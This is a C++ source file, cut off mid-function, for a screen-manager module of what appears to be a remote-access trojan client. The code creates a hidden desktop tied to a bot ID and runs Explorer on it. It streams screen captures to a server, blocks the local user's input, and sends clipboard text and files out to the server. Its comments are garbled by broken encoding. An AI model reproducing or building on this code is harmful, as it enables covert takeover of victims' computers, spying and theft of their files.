820 lines
28 KiB
C++
820 lines
28 KiB
C++
// ScreenManager.cpp: implementation of the CScreenManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#include "stdafx.h"
|
||
#include "ScreenManager.h"
|
||
#include "Common.h"
|
||
#include <IOSTREAM>
|
||
#if _MSC_VER <= 1200
|
||
#include <Winable.h>
|
||
#else
|
||
#include <WinUser.h>
|
||
#endif
|
||
#include <time.h>
|
||
|
||
#include "ScreenSpy.h"
|
||
#include "ScreenCapturerDXGI.h"
|
||
#include <Shlwapi.h>
|
||
#include <shlobj_core.h>
|
||
#include "common/file_upload.h"
|
||
#include <thread>
|
||
|
||
#pragma comment(lib, "Shlwapi.lib")
|
||
|
||
#ifndef PLUGIN
|
||
#ifdef _WIN64
|
||
#ifdef _DEBUG
|
||
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||
#else
|
||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||
#endif
|
||
#else
|
||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
|
||
{
|
||
return 0;
|
||
}
|
||
int UninitFileUpload()
|
||
{
|
||
return 0;
|
||
}
|
||
std::vector<std::string> GetClipboardFiles()
|
||
{
|
||
return{};
|
||
}
|
||
bool GetCurrentFolderPath(std::string& outDir)
|
||
{
|
||
return false;
|
||
}
|
||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
|
||
{
|
||
finish(user);
|
||
return 0;
|
||
}
|
||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
|
||
{
|
||
return 0;
|
||
}
|
||
#endif
|
||
#endif
|
||
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#define WM_MOUSEWHEEL 0x020A
|
||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||
|
||
bool IsWindows8orHigher()
|
||
{
|
||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||
if (!hMod) return false;
|
||
|
||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||
if (!rtlGetVersion) return false;
|
||
|
||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||
if (rtlGetVersion(&rovi) == 0) {
|
||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||
}
|
||
return false;
|
||
}
|
||
|
||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||
{
|
||
#ifndef PLUGIN
|
||
extern CONNECT_ADDRESS g_SETTINGS;
|
||
m_conn = &g_SETTINGS;
|
||
InitFileUpload("");
|
||
#endif
|
||
m_bIsWorking = TRUE;
|
||
m_bIsBlockInput = FALSE;
|
||
g_hDesk = nullptr;
|
||
m_DesktopID = GetBotId();
|
||
m_ScreenSpyObject = nullptr;
|
||
m_ptrUser = (INT_PTR)user;
|
||
|
||
m_point = {};
|
||
m_lastPoint = {};
|
||
m_lmouseDown = FALSE;
|
||
m_hResMoveWindow = nullptr;
|
||
m_resMoveType = 0;
|
||
m_rmouseDown = FALSE;
|
||
m_rclickPoint = {};
|
||
m_rclickWnd = nullptr;
|
||
|
||
m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
|
||
}
|
||
|
||
|
||
std::wstring ConvertToWString(const std::string& multiByteStr)
|
||
{
|
||
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
|
||
if (len == 0) return L""; // ת<><D7AA>ʧ<EFBFBD><CAA7>
|
||
|
||
std::wstring wideStr(len, L'\0');
|
||
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
|
||
|
||
return wideStr;
|
||
}
|
||
|
||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
|
||
{
|
||
bool bReturn = false;
|
||
|
||
try {
|
||
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
|
||
return false;
|
||
|
||
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
|
||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||
|
||
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
|
||
|
||
std::wstring path = ConvertToWString(pszApplicationFilePath);
|
||
if (!PathIsExe(path.c_str()))
|
||
return false;
|
||
PathRemoveFileSpec(szDirectoryName);
|
||
STARTUPINFO sInfo = { 0 };
|
||
PROCESS_INFORMATION pInfo = { 0 };
|
||
|
||
sInfo.cb = sizeof(sInfo);
|
||
sInfo.lpDesktop = pszDesktopName;
|
||
|
||
//Launching a application into desktop
|
||
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
|
||
NULL,
|
||
NULL,
|
||
NULL,
|
||
TRUE,
|
||
NORMAL_PRIORITY_CLASS,
|
||
NULL,
|
||
szDirectoryName,
|
||
&sInfo,
|
||
&pInfo);
|
||
CloseHandle(pInfo.hProcess);
|
||
CloseHandle(pInfo.hThread);
|
||
TCHAR* pszError = NULL;
|
||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
||
|
||
if (pszError) {
|
||
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
|
||
LocalFree(pszError); // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||
}
|
||
|
||
if (bCreateProcessReturn)
|
||
bReturn = true;
|
||
|
||
} catch (...) {
|
||
bReturn = false;
|
||
}
|
||
|
||
return bReturn;
|
||
}
|
||
|
||
void CScreenManager::InitScreenSpy()
|
||
{
|
||
int DXGI = USING_GDI;
|
||
BYTE algo = ALGORITHM_DIFF;
|
||
BYTE* user = (BYTE*)m_ptrUser;
|
||
BOOL all = FALSE;
|
||
if (!(user == NULL || ((int)user) == 1)) {
|
||
UserParam* param = (UserParam*)user;
|
||
if (param) {
|
||
DXGI = param->buffer[0];
|
||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||
all = param->length > 2 ? param->buffer[2] : all;
|
||
delete param;
|
||
}
|
||
} else {
|
||
DXGI = (int)user;
|
||
}
|
||
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
|
||
if (DXGI == USING_VIRTUAL) {
|
||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||
if (!hDesk) {
|
||
if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) {
|
||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
|
||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
|
||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>[%s]!!!\n", m_DesktopID.c_str());
|
||
}
|
||
} else {
|
||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļʧ<EFBFBD><EFBFBD>: %s\n", m_DesktopID.c_str());
|
||
}
|
||
} else {
|
||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
|
||
}
|
||
if (hDesk) {
|
||
SetThreadDesktop(g_hDesk = hDesk);
|
||
}
|
||
}
|
||
|
||
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
|
||
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
|
||
if (s->IsInitSucceed()) {
|
||
m_ScreenSpyObject = s;
|
||
} else {
|
||
SAFE_DELETE(s);
|
||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
|
||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||
}
|
||
} else {
|
||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
|
||
}
|
||
}
|
||
|
||
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||
{
|
||
CScreenManager *This = (CScreenManager *)lParam;
|
||
|
||
This->InitScreenSpy();
|
||
|
||
This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||
|
||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
This->WaitForDialogOpen();
|
||
|
||
clock_t last = clock();
|
||
This->SendFirstScreen();
|
||
#if USING_ZLIB
|
||
const int fps = 8;// ֡<><D6A1>
|
||
#else
|
||
const int fps = 8;// ֡<><D6A1>
|
||
#endif
|
||
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
|
||
float s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
|
||
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||
const float alpha = 1.03; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
timeBeginPeriod(1);
|
||
while (This->m_bIsWorking) {
|
||
ULONG ulNextSendLength = 0;
|
||
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
|
||
if (szBuffer) {
|
||
s0 = max(s0, 50); // <20><><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>20֡
|
||
s0 = min(s0, 1000);
|
||
int span = s0-(clock() - last);
|
||
Sleep(span > 0 ? span : 1);
|
||
if (span < 0) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
|
||
c2 = 0;
|
||
if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
|
||
c1 = 0;
|
||
#ifdef _DEBUG
|
||
if (1000./s0>1.0)
|
||
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||
#endif
|
||
}
|
||
} else if (span > 0) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
|
||
c1 = 0;
|
||
if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
|
||
c2 = 0;
|
||
#ifdef _DEBUG
|
||
if (1000./s0<20.0)
|
||
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||
#endif
|
||
}
|
||
}
|
||
last = clock();
|
||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||
}
|
||
}
|
||
timeEndPeriod(1);
|
||
Mprintf("ScreenWorkThread Exit\n");
|
||
|
||
return 0;
|
||
}
|
||
|
||
VOID CScreenManager::SendBitMapInfo()
|
||
{
|
||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D>ṹ<EFBFBD>Ĵ<EFBFBD>С
|
||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||
if (szBuffer == NULL)
|
||
return;
|
||
szBuffer[0] = TOKEN_BITMAPINFO;
|
||
//<2F><><EFBFBD>ｫbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||
m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
|
||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||
}
|
||
|
||
CScreenManager::~CScreenManager()
|
||
{
|
||
Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
||
UninitFileUpload();
|
||
m_bIsWorking = FALSE;
|
||
|
||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||
if (m_hWorkThread!=NULL) {
|
||
CloseHandle(m_hWorkThread);
|
||
}
|
||
|
||
delete m_ScreenSpyObject;
|
||
m_ScreenSpyObject = NULL;
|
||
}
|
||
|
||
void RunFileReceiver(CScreenManager *mgr, const std::string &folder)
|
||
{
|
||
auto start = time(0);
|
||
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
|
||
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
||
pClient->setManagerCallBack(mgr, CManager::DataProcess);
|
||
// <20><><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||
char cmd[300] = { COMMAND_GET_FILE };
|
||
memcpy(cmd + 1, folder.c_str(), folder.length());
|
||
pClient->Send2Server(cmd, sizeof(cmd));
|
||
pClient->RunEventLoop(TRUE);
|
||
}
|
||
delete pClient;
|
||
Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start);
|
||
}
|
||
|
||
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
|
||
{
|
||
IOCPClient* pClient = (IOCPClient*)user;
|
||
if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
|
||
return false;
|
||
}
|
||
return true;
|
||
}
|
||
|
||
void RecvData(void* ptr)
|
||
{
|
||
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
||
}
|
||
|
||
void delay_destroy(IOCPClient* pClient, int sec)
|
||
{
|
||
if (!pClient) return;
|
||
Sleep(sec * 1000);
|
||
delete pClient;
|
||
}
|
||
|
||
void FinishSend(void* user)
|
||
{
|
||
IOCPClient* pClient = (IOCPClient*)user;
|
||
std::thread(delay_destroy, pClient, 15).detach();
|
||
}
|
||
|
||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
switch(szBuffer[0]) {
|
||
case COMMAND_NEXT: {
|
||
NotifyDialogIsOpen();
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_CONTROL: {
|
||
BlockInput(false);
|
||
ProcessCommand(szBuffer + 1, ulLength - 1);
|
||
BlockInput(m_bIsBlockInput); //<2F>ٻָ<D9BB><D6B8><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_BLOCK_INPUT: { //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
BlockInput(m_bIsBlockInput);
|
||
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_GET_CLIPBOARD: {
|
||
auto files = GetClipboardFiles();
|
||
if (!files.empty()) {
|
||
char h[100] = {};
|
||
memcpy(h, szBuffer + 1, ulLength - 1);
|
||
m_hash = std::string(h, h + 64);
|
||
m_hmac = std::string(h + 64, h + 80);
|
||
BYTE szBuffer[1] = { COMMAND_GET_FOLDER };
|
||
SendData(szBuffer, sizeof(szBuffer));
|
||
break;
|
||
}
|
||
SendClientClipboard();
|
||
break;
|
||
}
|
||
case COMMAND_SCREEN_SET_CLIPBOARD: {
|
||
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
|
||
break;
|
||
}
|
||
case COMMAND_GET_FOLDER: {
|
||
std::string folder;
|
||
if (GetCurrentFolderPath(folder)) {
|
||
char h[100] = {};
|
||
memcpy(h, szBuffer + 1, ulLength - 1);
|
||
m_hash = std::string(h, h + 64);
|
||
m_hmac = std::string(h + 64, h + 80);
|
||
|
||
if (OpenClipboard(nullptr)) {
|
||
EmptyClipboard();
|
||
CloseClipboard();
|
||
}
|
||
std::thread(RunFileReceiver, this, folder).detach();
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_GET_FILE: {
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||
auto files = GetClipboardFiles();
|
||
std::string dir = (char*)(szBuffer + 1);
|
||
if (!files.empty() && !dir.empty()) {
|
||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||
std::thread(FileBatchTransferWorker, files, dir, pClient, ::SendData, ::FinishSend,
|
||
m_hash, m_hmac).detach();
|
||
} else {
|
||
delete pClient;
|
||
}
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_SEND_FILE: {
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||
int n = RecvFileChunk((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac);
|
||
if (n) {
|
||
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, m_hash.c_str(), m_hmac.c_str());
|
||
}
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
::EmptyClipboard();
|
||
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength+1);
|
||
if (hGlobal != NULL) {
|
||
|
||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||
if (szClipboardVirtualAddress == NULL) {
|
||
GlobalFree(hGlobal);
|
||
CloseClipboard();
|
||
return;
|
||
}
|
||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||
szClipboardVirtualAddress[ulLength] = '\0';
|
||
GlobalUnlock(hGlobal);
|
||
if(NULL==SetClipboardData(CF_TEXT, hGlobal))
|
||
GlobalFree(hGlobal);
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
VOID CScreenManager::SendClientClipboard()
|
||
{
|
||
if (!::OpenClipboard(NULL)) //<2F><EFBFBD><F2BFAABC>а<EFBFBD><D0B0>豸
|
||
return;
|
||
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ڴ<EFBFBD>
|
||
if (hGlobal == NULL) {
|
||
::CloseClipboard();
|
||
return;
|
||
}
|
||
size_t iPacketLength = GlobalSize(hGlobal) + 1;
|
||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD>
|
||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||
|
||
|
||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||
::GlobalUnlock(hGlobal);
|
||
::CloseClipboard();
|
||
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||
delete[] szBuffer;
|
||
}
|
||
|
||
|
||
VOID CScreenManager::SendFirstScreen()
|
||
{
|
||
ULONG ulFirstSendLength = 0;
|
||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
|
||
if (ulFirstSendLength == 0 || FirstScreenData == NULL) {
|
||
return;
|
||
}
|
||
|
||
m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
|
||
}
|
||
|
||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||
{
|
||
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||
|
||
if (ulNextSendLength == 0 || NextScreenData == NULL) {
|
||
return NULL;
|
||
}
|
||
|
||
return (char*)NextScreenData;
|
||
}
|
||
|
||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||
{
|
||
m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
|
||
}
|
||
|
||
std::string GetTitle(HWND hWnd)
|
||
{
|
||
char title[256]; // Ԥ<><D4A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
GetWindowTextA(hWnd, title, sizeof(title));
|
||
return title;
|
||
}
|
||
|
||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
int msgSize = sizeof(MSG64);
|
||
if (ulLength % 28 == 0) // 32λ<32><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||
msgSize = 28;
|
||
else if (ulLength % 48 == 0) // 64λ<34><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||
msgSize = 48;
|
||
else return; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
ULONG ulMsgCount = ulLength / msgSize;
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
BYTE* ptr = szBuffer;
|
||
MSG32 msg32;
|
||
MSG64 msg64;
|
||
if (g_hDesk) {
|
||
HWND hWnd = NULL;
|
||
BOOL mouseMsg = FALSE;
|
||
POINT lastPointCopy = {};
|
||
SetThreadDesktop(g_hDesk);
|
||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
|
||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||
switch (msg->message) {
|
||
case WM_KEYUP:
|
||
return;
|
||
case WM_CHAR:
|
||
case WM_KEYDOWN: {
|
||
m_point = m_lastPoint;
|
||
hWnd = WindowFromPoint(m_point);
|
||
break;
|
||
}
|
||
default: {
|
||
msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) };
|
||
m_ScreenSpyObject->PointConversion(msg->pt);
|
||
msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y);
|
||
|
||
mouseMsg = TRUE;
|
||
m_point = msg->pt;
|
||
hWnd = WindowFromPoint(m_point);
|
||
lastPointCopy = m_lastPoint;
|
||
m_lastPoint = m_point;
|
||
if (msg->message == WM_RBUTTONDOWN) {
|
||
// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
m_rmouseDown = TRUE;
|
||
m_rclickPoint = msg->pt;
|
||
} else if (msg->message == WM_RBUTTONUP) {
|
||
m_rmouseDown = FALSE;
|
||
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
char szClass[256] = {};
|
||
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
|
||
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||
// <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||
} else {
|
||
// <20><>ͨ<EFBFBD><CDA8><EFBFBD>ڵ<EFBFBD><DAB5>Ҽ<EFBFBD><D2BC>˵<EFBFBD>
|
||
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||
// <20><><EFBFBD>ӣ<EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD><CCB0><EFBFBD>Shift+F10<31><30><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
|
||
keybd_event(VK_SHIFT, 0, 0, 0);
|
||
keybd_event(VK_F10, 0, 0, 0);
|
||
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||
}
|
||
}
|
||
} else if (msg->message == WM_LBUTTONUP) {
|
||
if (m_rclickWnd && hWnd != m_rclickWnd) {
|
||
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
|
||
m_rclickWnd = nullptr;
|
||
}
|
||
m_lmouseDown = FALSE;
|
||
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||
switch (lResult) {
|
||
case HTTRANSPARENT: {
|
||
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
|
||
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||
break;
|
||
}
|
||
case HTCLOSE: {// <20>رմ<D8B1><D5B4><EFBFBD>
|
||
PostMessageA(hWnd, WM_CLOSE, 0, 0);
|
||
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||
break;
|
||
}
|
||
case HTMINBUTTON: {// <20><>С<EFBFBD><D0A1>
|
||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
|
||
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||
break;
|
||
}
|
||
case HTMAXBUTTON: {// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
WINDOWPLACEMENT windowPlacement;
|
||
windowPlacement.length = sizeof(windowPlacement);
|
||
GetWindowPlacement(hWnd, &windowPlacement);
|
||
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
|
